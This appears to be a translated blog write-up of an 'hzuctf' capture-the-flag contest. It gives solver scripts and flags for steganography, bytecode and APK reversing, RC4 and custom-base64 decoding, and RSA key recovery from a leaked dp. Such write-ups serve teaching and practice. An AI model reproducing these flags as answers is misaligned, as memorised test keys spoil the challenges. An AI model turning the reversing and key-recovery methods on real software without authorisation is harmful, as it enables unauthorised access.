Take the string Ai as an example, base32 is to convert the string into 8-bit binary, then divide it by 5 bits, and then convert it into a decimal comparison code table. If it is less than 40 bits, then add = at the end, and make up 40 bits. Ai converted into binary is 0100000101101001, 5 digits are cut into 01000 00101 10100 10000, a total of 20 digits, so 4 equal signs are added to make up 40 digits, but in fact the last 4 0s after 10000 are added, and can be changed to other For example, 10101, when it is finally decoded, it will not affect the result. It is converted into 8 bits, and the result is still Ai, so the next four bits can be used for steganography. Compared with base64 steganography, there are more base32 cases, because there are many cases of = padding bits behind, and various corresponding situations can be analyzed as follows: 1 equal
sign -> 3 padding bits
3 equal signs -> 1 padding
4 equal signs -> 4 padding
5 equal signs -> 1 padding
6 equal signs -> 2 padding

Therefore, write the script to extract the steganographic bits in the base32 encoded data in encrypt.txt according to the number of = signs, divide them into 8 binary bits, and convert them into letters to get the flag

The entire problem-setting and problem-solving script is as follows:

## 1个等号->3个填充位
## 3个等号->1个填充位
## 4个等号->4个填充位
## 5个等号->1个填充位
## 6个等号->2个填充位


import base64

base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'


def change(equal_numbers, offset, base32_result, bin_str):
    position = int(bin_str[:offset], 2)
    last_char = base32_result[len(base32_result) - equal_numbers - 1]
    base32_result = base32_result.replace(last_char,
                                          base32chars[base32chars.index(last_char) + position])
    bin_str = bin_str[offset:]
    return bin_str, base32_result


def base32_stegan0graphy():
    flag = 'hzuctf{base32_stegan0graphy_Y}'
    bin_str = ''.join([bin(ord(c)).replace('0b', '').zfill(8) for c in flag])
    print(bin_str)
    with open('plaintext.txt', 'r') as plaintext, open('encrypt.txt', 'w+') as encrypt:
        for line in plaintext.readlines():
            base32_result = str(base64.b32encode((line.replace('\n', '')).encode('utf-8')), 'utf-8')
            equal_numbers = base32_result.count('=')
            if equal_numbers == 1 and len(bin_str):
                bin_str, base32_result = change(1, 3, base32_result, bin_str)
            elif equal_numbers == 3 and len(bin_str):
                bin_str, base32_result = change(3, 1, base32_result, bin_str)
            elif equal_numbers == 4 and len(bin_str):
                bin_str, base32_result = change(4, 4, base32_result, bin_str)
            elif equal_numbers == 5 and len(bin_str):
                bin_str, base32_result = change(5, 1, base32_result, bin_str)
            elif equal_numbers == 6 and len(bin_str):
                bin_str, base32_result = change(6, 2, base32_result, bin_str)
            encrypt.write(base32_result + '\n')


def get_padding(line, num, offset, flag):
    last_char = line[-(num + 1)]
    myindex = base32chars.index(last_char)
    bin_str = bin(myindex)[2:].zfill(5)
    flag += bin_str[5 - offset:]
    return flag


def solve():
    flag = ''
    with open('encrypt.txt') as f:
        for line in f.readlines():
            line = line.replace('\n', '')
            num = line.count('=')
            if num == 0:
                continue
            elif num == 1:
                flag = get_padding(line, num, 3, flag)
            elif num == 3:
                flag = get_padding(line, num, 1, flag)
            elif num == 4:
                flag = get_padding(line, num, 4, flag)
            elif num == 5:
                flag = get_padding(line, num, 1, flag)
            elif num == 6:
                flag = get_padding(line, num, 2, flag)

    print(''.join([chr(int(flag[i:i + 8], 2)) for i in range(0, len(flag), 8)]))

# base32_stegan0graphy()
solve()


When writing the question, I found that the script is flawed. If the filling data is not equal to the hidden data, the last letter will be incorrect when extracting steganography. Because 8-bit binary is not enough, the data that is not steganographic filling will also be added. The last data is incorrect.

file

Misc-pcapng

A traffic problem, the traffic is just a frame, use WireShark to extract the png and docx files inside.

file

file

The essence of docx is a zip file, unzip it, open document.xml, and you will find some steganographic information:

file

Alternating vowels and consonants also have -, BubbleBabble encoding, decoding to find a part of the flag

file

A png image was also found at the end of the extracted png image, and the two images have the same length. Pay attention to the file name of the above traffic, waters indicates water, and you can guess the blind watermark steganography.

Separate the two images and perform blind watermark extraction

file

file

See the rest of the flag, the complete flag is hzuctf{S0_easy_pcang_for_you}

Misc-pixel

For this question, you need to extract and analyze the pixels. You will find that the green channel is all 0, and the red and blue channels have values. Then I will tell you that the steganographic data is in Chinese. For example, Hui character, which corresponds to ASCII The number is 24800, here is the use of a red and green channel value composition similar to 24800, the high 8 bits are hidden in the red channel, and the low 8 bits are in the green channel, 24800=96*256+224, 96 is the value of the red channel, 224 is Green channel value.

file

The script is extracted and restored:

import math

from PIL import Image


def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)
    x, y = 0, 0
    for i in text:
        index = ord(i)
        rgb = ((index & 0xFF00) >> 8, 0, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im


def decode(im):
    width, height = im.size
    lst = []
    for y in range(height):
        for x in range(width):
            red, green, blue = im.getpixel((x, y))
            if (blue | green | red) == 0:
                break
            index = (red << 8) + blue
            lst.append(chr(index))
    return ''.join(lst)


if __name__ == '__main__':
    # with open("介绍.txt", encoding="utf-8") as f:
    #     all_text = f.read()
    #     im = encode(all_text)
    #     im.save("flag.bmp")
    all_text = decode(Image.open("flag.bmp", "r"))
    with open("flag.txt", "w", encoding="utf-8") as f:
        f.write(all_text)


Find the flag below the text

file

reverse-pyc

  5           0 LOAD_CONST               1 ('')
              2 STORE_FAST               1 (xor_result)

  6           4 LOAD_CONST               2 ('bqynzikakpKvys}F+hC{kqNX_')
              6 STORE_FAST               2 (result)

  7           8 LOAD_GLOBAL              0 (list)
             10 CALL_FUNCTION            0
             12 STORE_FAST               3 (key)

  8          14 LOAD_GLOBAL              1 (range)
             16 LOAD_CONST               3 (10)
             18 LOAD_CONST               4 (35)
             20 CALL_FUNCTION            2
             22 GET_ITER
        >>   24 FOR_ITER                14 (to 40)
             26 STORE_FAST               4 (i)

  9          28 LOAD_FAST                3 (key)
             30 LOAD_METHOD              2 (append)
             32 LOAD_FAST                4 (i)
             34 CALL_METHOD              1
             36 POP_TOP
             38 JUMP_ABSOLUTE           24

 10     >>   40 LOAD_GLOBAL              1 (range)
             42 LOAD_GLOBAL              3 (len)
             44 LOAD_FAST                0 (flag)
             46 CALL_FUNCTION            1
             48 CALL_FUNCTION            1
             50 GET_ITER
        >>   52 FOR_ITER                32 (to 86)
             54 STORE_FAST               5 (f)

 11          56 LOAD_FAST                1 (xor_result)
             58 LOAD_GLOBAL              4 (chr)
             60 LOAD_GLOBAL              5 (ord)
             62 LOAD_FAST                0 (flag)
             64 LOAD_FAST                5 (f)
             66 BINARY_SUBSCR
             68 CALL_FUNCTION            1
             70 LOAD_FAST                3 (key)
             72 LOAD_FAST                5 (f)
             74 BINARY_SUBSCR
             76 BINARY_XOR
             78 CALL_FUNCTION            1
             80 INPLACE_ADD
             82 STORE_FAST               1 (xor_result)
             84 JUMP_ABSOLUTE           52

 12     >>   86 LOAD_FAST                1 (xor_result)
             88 LOAD_FAST                2 (result)
             90 COMPARE_OP               2 (==)
             92 POP_JUMP_IF_FALSE       98

 13          94 LOAD_CONST               5 ('Success')
             96 RETURN_VALUE
        >>   98 LOAD_CONST               0 (None)
            100 RETURN_VALUE


The python bytecode generated by a simple XOR function can be restored to the function, and the original function and result are directly given here.


def xor(flag):
    xor_result = ''
    result = 'bqynzikakpKvys}F+hC{kqNX_'
    key = list()
    for i in range(10, 35):
        key.append(i)
    for f in range(len(flag)):
        xor_result += chr(ord(flag[f]) ^ key[f])
    if xor_result == result:
        return 'Success'


def solve():
    result = 'bqynzikakpKvys}F+hC{kqNX_'
    key = list()
    xor_result = ''
    for i in range(10, 35):
        key.append(i)
    for f in range(len(result)):
        xor_result += chr(ord(result[f]) ^ key[f])
    print(xor_result)


solve()

Reverse-pyre

Use pyinstxttractor to decompile the exe file:
file

Find the struct and main files, and add the removed py header to the main file
file

Use uncompyle6 to decompile, but only supports up to 3.8, here is version 3.9, so it doesn't work
file

Find other ways, such as online sites, to get the code
file

import base64
import sys

from Crypto.Util.number import bytes_to_long


def generate(auth_key):
    alphabet = 'qwertyuiozhcdsf0123456mnbv789lkjhLKJHQWEQSDAZXCVBNMA'
    out = []
    while len(auth_key) > 0:
        value = auth_key[:26]
        auth_key = auth_key[26:]
        number = bytes_to_long(value.encode('utf-8'))
        while number > 0:
            r = number % 52
            number //= 52
            out.append(alphabet[r])
    return ''.join(out[::-1])


def encrypt(key, flag):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    res = []
    i = j = 0
    for s in flag:
        i = (i + 1) % 256
        j = (j + s_box[i]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
        t = (s_box[i] + s_box[j]) % 256
        k = s_box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    crypt = (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    if crypt == 'eMKAeAfCukBqUcOrL8OqwrAWw7XDvhfCqMKXJMKEfcO1SQk7wogHw794w6wvMlBK':
        return True


if __name__ == '__main__':
    key = str(input("please input the key: "))
    if generate(key) != 'bfsrMkv9Wz5nvV':
        print("error key")
        sys.exit()
    flag = str(input("please input your flag: "))
    if encrypt(key, flag):
        print('Yes Yes Yes')
    else:
        print('No No No')


One is used to encrypt the key, and the other is rc4, which can be decrypted. The encryption and decryption of rc4 are the same, so just copy it. As for generate(), it imitates the simple mathematical logic of base.

import base64

from Crypto.Util.number import long_to_bytes


def decrypt_key():
    alphabet = 'qwertyuiozhcdsf0123456mnbv789lkjhLKJHQWEQSDAZXCVBNMA'
    result = 'bfsrMkv9Wz5nvV'
    value = 0
    for i in range(len(result)):
        value = value * 52 + alphabet.index(result[i])
    return long_to_bytes(value)


def rc4(key, flag):
    key = key.decode('utf-8')
    s_box = list(range(256))
    flag = base64.b64decode(flag).decode('utf-8')
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    res = []
    i = j = 0
    for s in flag:
        i = (i + 1) % 256
        j = (j + s_box[i]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
        t = (s_box[i] + s_box[j]) % 256
        k = s_box[t]
        res.append(chr(ord(s) ^ k))
    return "".join(res)


if __name__ == '__main__':
    key = decrypt_key()
    flag = 'eMKAeAfCukBqUcOrL8OqwrAWw7XDvhfCqMKXJMKEfcO1SQk7wogHw794w6wvMlBK'
    result = rc4(key, flag)
    print(result)


file

Reverse-babyre

I got an attachment, which is an elf file, and dragged into IDA, you can see the obvious UPX logo, which is packed by UPX.

file

Use upx.exe for unpacking

file

Find the main function entry, follow up and find that the encode function is used for encryption, and the output result is equal to Q7...

file

file

The more obvious base64 encoding, take the first 6 digits of the first character, take the last two digits of the first character and the first 4 digits of the second character, if the last is insufficient, fill in =, follow up a0123456789abcd to find the code table, and change it stopwatch

file

decoding:

result='Q7frOtHcUs9XOdboPLzcC79VOc5pPJOqNsDeOMvdPLzqOM9iPNq'
base64_chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/'
bins=''
for i in result:
    bins+=str(bin(base64_chars.index(i))[2:].zfill(6))

print(''.join([chr(int(bins[i:i+8],2)) for i in range(0,len(bins),8)]))

#hzuctf{babyre_f0r_base64_change_table}

Reverse-apk

When you get an Android apk file, you can use a mobile phone emulator to run the program first, take a look at the functions, and then decompile it to see if you can get the source code. There are many decompilation tools, and I use dex.

file

Then you can see the source code through jd-gui:

file

The entire program page is as follows:

file

file

The previous guide page is all interference items. The key is to log in. There are some changes in the code and source code of jd-gui here, but it does not affect the logic of the code. The following is the source code + some comments.

Crypto.Util class:

package com.example.app.util;

import android.text.TextUtils;
import android.util.Base64;

import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class CryptoUtil {
    
    
public static String DESEncrypt(String data, String iv, String key) {
    
    
    try {
    
    
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec KeySpec = new SecretKeySpec(key.getBytes(), "AES");
        IvParameterSpec IvSpec = new IvParameterSpec(iv.getBytes());
        cipher.init(Cipher.ENCRYPT_MODE, KeySpec,IvSpec);
        byte[] encrypted = cipher.doFinal(data.getBytes());
        return new String(Base64.encode(encrypted, Base64.DEFAULT)).trim();
    } catch (Exception e) {
    
    
        e.printStackTrace();
        return null;
    }
}
    public static String haha(String plainText) {
    
    
        if (TextUtils.isEmpty(plainText)) return "";
        byte[] secretBytes = null;
        try {
    
    
            secretBytes = MessageDigest.getInstance("md5").digest(
                    plainText.getBytes());
        } catch (NoSuchAlgorithmException e) {
    
    
            throw new RuntimeException("没有这个md5算法!");
        }
        StringBuilder md5code = new StringBuilder(new BigInteger(1, secretBytes).toString(16));
        for (int i = 0; i < 32 - md5code.length(); i++) {
    
    
            md5code.insert(0, "0");
        }
        return md5code.toString();
    }


}

A class for AES encryption and MD5 encryption

Login class:

package com.example.app;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.text.Editable;
import android.text.TextUtils;
import android.text.TextWatcher;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;

import com.example.app.util.BuilderUtil;
import com.example.app.util.CryptoUtil;
import com.example.app.util.ToastUtil;
import com.example.app.util.ViewUtil;
import java.util.Objects;

//继承AppCompatActivity,是安卓的一个适配器类,内置了为了适应不同的安卓版本所要用到的方法
public class MainActivity extends AppCompatActivity implements View.OnClickListener, View.OnFocusChangeListener {
    
    
    private EditText edit_username;
    private EditText edit_password;
    private Button button;
    private  static final byte[] Bytes=new byte[]{
    
    25,23,18,39,28,30,22,19,30,20,28,30,21,30,22,34};
    private static  final  String des_key="So_easy_reverse_road";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
    
    
        super.onCreate(savedInstanceState); //启动类
        setContentView(R.layout.activity_main); //获取视图的XML文件,R类是自动生成的类,通过它和设置的id值就能够获取对应的对象
        button = findViewById(R.id.button); //获取按钮视图对象
        edit_username=findViewById(R.id.edit_username); //获取用户名编辑框视图对象
        edit_password=findViewById(R.id.edit_password); //获取密码编辑框视图对象
        edit_username.addTextChangedListener(new HideTextWatcher(edit_username,16));//文本变更时间监听,用户名满16位则自动关掉手机键盘
        edit_password.setOnFocusChangeListener(this); //焦点变更时间监听,就是点击密码编辑框时要触发的逻辑操作
        button.setOnClickListener(this);  //登录按钮监听事件
    }

    @Override
    public void onClick(View view) {
    
    
        String username=edit_username.getText().toString(); //获取输入的用户名
        String password=edit_password.getText().toString(); //获取输入的密码
        String iv= new String(encode(username, Bytes));  //对输入的用户名调用下方的encode进行加密,传入上方的Bytes数组
        String key=CryptoUtil.haha(des_key);  //对key进行md5加密
        try {
    
    
            //如果AES加密的内容与该字符串一样,则弹窗登录成功
            if(Objects.equals(CryptoUtil.DESEncrypt(password, iv, key), "oUtHm4u1BUv/aFVvrf8Zw8XQsN9B1mrK1gaQ+B+CWC+3LHG5LQ8S/ZLNiLgxM/Vx")) {
    
    
                ToastUtil.show(this,"登录成功");//弹窗
                Intent intent=new Intent();
                String[] token={
    
    username,password};
                intent.putExtra("token",token); //通过Intent包裹数据,在不同页面传输
                intent.setClass(MainActivity.this,SuccessActivity.class); //跳转页面
                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//启动新的任务栈
                startActivity(intent);
            }
            else{
    
    
                BuilderUtil.show(this,"登录失败,再看看吧0o0");
            }
        } catch (Exception e) {
    
    
            throw new RuntimeException(e);
        }

    }
    public byte[] encode(String paramString, byte[] paramArrayOfByte)
    {
    
    
        byte[] arrayOfByte1 = paramString.getBytes();
        byte[] arrayOfByte2 = new byte[16];
        int i = 0;
        int k;
        for (int j = 0; ; j++)
        {
    
    
            k = i;
            if (j >= 16)
                break;
            arrayOfByte2[j] = (byte)((arrayOfByte1[j] + paramArrayOfByte[j]) % 61);
        }
        while (k < 16)
        {
    
    
            arrayOfByte2[k] = (byte)(arrayOfByte2[k] * 2 - k);
            k++;
        }
        if (new String(arrayOfByte2).equals(paramString))
            return arrayOfByte2;
        return paramString.getBytes();
    }

    @Override
    public void onFocusChange(View view, boolean b) {
    
    
        if(b){
    
    
            String username=edit_username.getText().toString();
            if(TextUtils.isEmpty(username)||edit_username.length()!=16){
    
    
                BuilderUtil.show(this,"用户名不正确哦,再核查核查吧0o0");
                button.setEnabled(false);
            }
        }
        else{
    
    
            button.setEnabled(true);
        }
    }

    private class HideTextWatcher implements TextWatcher {
    
    
        private final EditText mView;
        private final int mMaxLength;
        public HideTextWatcher(EditText v, int maxLength) {
    
    
            mView=v;
            mMaxLength=maxLength;
        }

        @Override
        public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {
    
    

        }
        @Override
        public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
    
    

        }
        @Override
        public void afterTextChanged(Editable editable) {
    
    
            String str=editable.toString();
            if(str.length()==mMaxLength){
    
    
                ViewUtil.hideOneInputMethod(MainActivity.this,mView);
            }
        }
    }

}

According to the analysis, it can be known that AES encryption passes in the password, offset iv and key key, and iv is generated by passing in the user name and array through the encode method. First, let's look at the logic of the encode method.

    public byte[] encode(String paramString, byte[] paramArrayOfByte)
    {
    
    
        byte[] arrayOfByte1 = paramString.getBytes();
        byte[] arrayOfByte2 = new byte[16];
        int i = 0;
        int k;
        for (int j = 0; ; j++)
        {
    
    
            k = i;
            if (j >= 16)
                break;
            arrayOfByte2[j] = (byte)((arrayOfByte1[j] + paramArrayOfByte[j]) % 61);
        }
        while (k < 16)
        {
    
    
            arrayOfByte2[k] = (byte)(arrayOfByte2[k] * 2 - k);
            k++;
        }
        if (new String(arrayOfByte2).equals(paramString))
            return arrayOfByte2;
        return paramString.getBytes();
    }


First, a for loop is performed, adding each digit of the user name to each digit of the bytes array and taking the remainder 61, a total of 16 digits, and then assigning the result to arrayOfByte2, and then looping arrayOfByte2, every A value multiplied by 2-k. Finally, if the value of arrayOfByte2 is the same as the user name, return the value of arrayOfByte2. If not, return the original user name. Obviously, the value of the incoming user name must be the same as the value of arrayOfByte2. Here you can blast, blast out the user name, and check the ASCII codes that match the numbers that are equal to themselves after these encryptions. After getting the number, you get the iv, the key is given, and you can decrypt AES


import base64
import hashlib

from Crypto.Cipher import AES

paramArrayOfByte = [25, 23, 18, 39, 28, 30, 22, 19, 30, 20, 28, 30, 21, 30, 22, 34]


def check(a, b):
    if ((a + paramArrayOfByte[b]) % 61) * 2 - b == a:
        return True
    else:
        return False


def username():
    usernames = ""
    for i in range(16):
        for j in range(128):
            if check(j, i):
                usernames += chr(j)
    print(usernames)
    return usernames


if __name__ == "__main__":
    username()
    result = "oUtHm4u1BUv/aFVvrf8Zw8XQsN9B1mrK1gaQ+B+CWC+3LHG5LQ8S/ZLNiLgxM/Vx"
    key = hashlib.md5('So_easy_reverse_road'.encode('utf-8')).hexdigest().encode()
    iv = username().encode('utf-8')
    aes = AES.new(key, mode=AES.MODE_CBC, iv=iv)
    print(aes.decrypt(base64.b64decode(result)))

The obtained password is the flag, and the flag can also be seen after logging in

file

Crypto-md5

There is a pit here. Some characters other than md5 have been added. The character range of md5 is 0-9 af, so it becomes 36 bits instead of 32 bits, so the extra characters need to be removed and decrypted. .

file

Crypto-Vigenere

There is a code similar to base at the end, which needs to be blasted by Vigenere to get the correct pdf encryption password.
Recommend a website: https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx

-- MESSAGE w/Key #5 = 'surprise' ----------------
a declaration of the independence of cyberspaceby john perry barlow governments of the industrial world, you weary giants of flesh and steel, i come from cyberspace, the new home of mind. on behalf of the future, i ask you of the past to leave us alone. you are not welcome among us. you have no sovereignty where we gather.we have no elected government, nor are we likely to have one, so i address you with no greater authority than that with which liberty itself always speaks. i declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. you have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear.governments derive their just powers from the consent of the governed. you have neither solicited nor received ours. we did not invite you. you do not know us, nor do you know our world. cyberspace does not lie within your borders. do not think that you can build it, as though it were a public construction project. you cannot. it is an act of nature and it grows itself through our collective actions.you have not engaged in our great and gathering conversation, nor did you create the wealth of our marketplaces. you do not know our culture, our ethics, or the unwritten codes that already provide our society more order than could be obtained by any of your impositions.you claim there are problems among us that you need to solve. you use this claim as an excuse to invade our precincts. many of these problems don't exist. where there are real conflicts, where there are wrongs, we will identify them and address them by our means. we are forming our own social contract. this governance will arise according to the conditions of our world, not yours. our world is different.cyberspace consists of transactions, relationships, and thought itself, arrayed like a standing wave in the web of our communications. ours is a world that is both everywhere and nowhere, but it is not where bodies live.we are creating a world that all may enter without privilege or prejudice accorded by race, economic power, military force, or station of birth.we are creating a world where anyone, anywhere may express his or her beliefs, no matter how singular, without fear of being coerced into silence or conformity.your legal concepts of property, expression, identity, movement, and context do not apply to us. they are all based on matter, and there is no matter here.our identities have no bodies, so, unlike you, we cannot obtain order by physical coercion. we believe that from ethics, enlightened self-interest, and the commonweal, our governance will emerge. our identities may be distributed across many of your jurisdictions. the only law that all our constituent cultures would generally recognize is the golden rule. we hope we will be able to build our particular solutions on that basis. but we cannot accept the solutions you are attempting to impose.in the united states, you have today created a law, the telecommunications reform act, which repudiates your own constitution and insults the dreams of jefferson, washington, mill, madison, detoqueville, and brandeis. these dreams must now be born anew in us.you are terrified of your own children, since they are natives in a world where you will always be immigrants. because you fear them, you entrust your bureaucracies with the parental responsibilities you are too cowardly to confront yourselves. in our world, all the sentiments and expressions of humanity, from the debasing to the angelic, are parts of a seamless whole, the global conversation of bits. we cannot separate the air that chokes from the air upon which wings beat.in china, germany, france, russia, singapore, italy and the united states, you are trying to ward off the virus of liberty by erecting guard posts at the frontiers of cyberspace. these may keep out the contagion for a small time, but they will not work in a world that will soon be blanketed in bit-bearing media.your increasingly obsolete information industries would perpetuate themselves by proposing laws, in america and elsewhere, that claim to own speech itself throughout the world. these laws would declare ideas to be another industrial product, no more noble than pig iron. in our world, whatever the human mind may create can be reproduced and distributed infinitely at no cost. the global conveyance of thought no longer requires your factories to accomplish.these increasingly hostile and colonial measures place us in the same position as those previous lovers of freedom and self-determination who had to reject the authorities of distant, uninformed powers. we must declare our virtual selves immune to your sovereignty, even as we continue to consent to your rule over our bodies. we will spread ourselves across the planet so that no one can arrest our thoughts.we will create a civilization of the mind in cyberspace. may it be more humane and fair than the world your governments have made before.please add underscore and curly braces.jfpwqylwmvpwcx3qmvxa====


file
file
file
It can be found that it is Rabbit encoding, just decode it.

file

Crypto-rsa-d

import gmpy2
p,q,e=1850922570199733062749386011663,157764979159736817332248611313,65537
d=int(gmpy2.invert(e,(p-1)*(q-1)))
print(d)
#hzuctf{279681942261748338419427740545796642395380230449046031387713}


file

Crypto-rsa-dp

This is a question about rsa and dp leakage. According to dp, p can be calculated, and then q can be calculated, and finally the ciphertext can be obtained. The specific mathematical principles are as follows:

file

Topic source code:

from Crypto.Util.number import getPrime, inverse, bytes_to_long
from flag import flag
m = bytes_to_long(flag)
e = 65537
p = getPrime(1024)
q = getPrime(1024)
phi = (p - 1) * (q - 1)
n = p * q
d = inverse(e, phi)
dp = d % (p - 1)
c = pow(m, e, n)
print(dp)
print(n)
print(c)

dp = 32562446590082189353812540750517266563448202318099262088335685388185833291165580819327268748688539123705214514115093654790205652912928673645321170021243359523140071163885010874680230531859697582517067591788296245720873437135070099562223825840295235892562631161476245438376584662333597499756566145144802262113
n = 15469857239419244142984118737357550521360635818368539877054821973094475208731479211851293875222127712778304645995723105074324730421646661134096205964931488610129215964383600406459651148715805600049490866898173446974578460046088848929253047713591480237265526098540730757794911477686075894207189967659999926939212049067203050825315778679122713940585457459080633085273428600536498411278446783902472545586250180263307085512582166225005633935942658820008365800681886867947374234351619171668667460612759121522993807659565061771266502776147947221794931303180531257962814668799871618365763449081899295333060764271984340263077
c = 3371635232956496656168611946504655026758215070077423985420002835317498787958547736569409079188842948315333129317437090423212168537311312628398730939660537476365173865158432181572120154144546022712164319565379704833820092081423754670855889109635532616831586938531226669797081844417546638714037911337588266686391080194666563568140874346449923062593582911504963985098552650891893030774125254929785984913341345254804483263189960261139658990436437334923487448735284808449178096062527619934971446957530886842807478704562487400450690697479415129522458227817503297277562806695359502234580212934971923827447844902000319877501

untie:

import gmpy2
from Crypto.Util.number import long_to_bytes

e = 65537

dp=32562446590082189353812540750517266563448202318099262088335685388185833291165580819327268748688539123705214514115093654790205652912928673645321170021243359523140071163885010874680230531859697582517067591788296245720873437135070099562223825840295235892562631161476245438376584662333597499756566145144802262113
n=15469857239419244142984118737357550521360635818368539877054821973094475208731479211851293875222127712778304645995723105074324730421646661134096205964931488610129215964383600406459651148715805600049490866898173446974578460046088848929253047713591480237265526098540730757794911477686075894207189967659999926939212049067203050825315778679122713940585457459080633085273428600536498411278446783902472545586250180263307085512582166225005633935942658820008365800681886867947374234351619171668667460612759121522993807659565061771266502776147947221794931303180531257962814668799871618365763449081899295333060764271984340263077
c=3371635232956496656168611946504655026758215070077423985420002835317498787958547736569409079188842948315333129317437090423212168537311312628398730939660537476365173865158432181572120154144546022712164319565379704833820092081423754670855889109635532616831586938531226669797081844417546638714037911337588266686391080194666563568140874346449923062593582911504963985098552650891893030774125254929785984913341345254804483263189960261139658990436437334923487448735284808449178096062527619934971446957530886842807478704562487400450690697479415129522458227817503297277562806695359502234580212934971923827447844902000319877501

for x in range(1, e):  # 遍历X
    if (dp * e - 1) % x == 0:
        p = (dp * e - 1) // x + 1
        if n % p == 0:
            q = n // p  # 得到q
            phi = (p - 1) * (q - 1)  # 欧拉函数
            d = gmpy2.invert(e, phi)  # 求逆元
            m = pow(c, d, n)  # 幂取模,m=c^d mod n
            print(long_to_bytes(m))


file

Crypto-xuanxue

For this question, you may think that when you see such characters, you will think it is related to Buddhism and Zen, or even garbled characters, but this is the direction of Cryoto. The decryption principle here is to use pinyin and tone, add ASCII and then take the remainder 128 Get the character of flag.

import pypinyin
from pypinyin import pinyin, lazy_pinyin


# 利用拼音库将每个汉字的拼音的字母转成ascii码相加,然后再与音调相加,最后取余128得到最后的字母
def decrypt(s):
    result = 0
    pin = lazy_pinyin(s)[0]
    k = pinyin(s, style=pypinyin.Style.TONE3, heteronym=True)[0][0]
    for i in pin:
        result += ord(i)
    result += ord(k[len(k) - 1])
    return chr(result % 128)


if __name__ == '__main__':
    r = ''
    s = "哷哸哹哻哼哽咤娻屇庎忈咤煈炼呶呵呷呸"
    for i in s:
        r += decrypt(i)
    print(r)


file

The final flag is hzuctf{hSTwY^lwwTXp~yo}

Crypto, Misc, Reverse topic attachments

Link: https://pan.baidu.com/s/1NNTD5Wknc_PRj39Tcczy8Q?pwd=m7ye
Extraction code: m7ye

Guess you like

Origin blog.csdn.net/weixin_53090346/article/details/130546469
WP2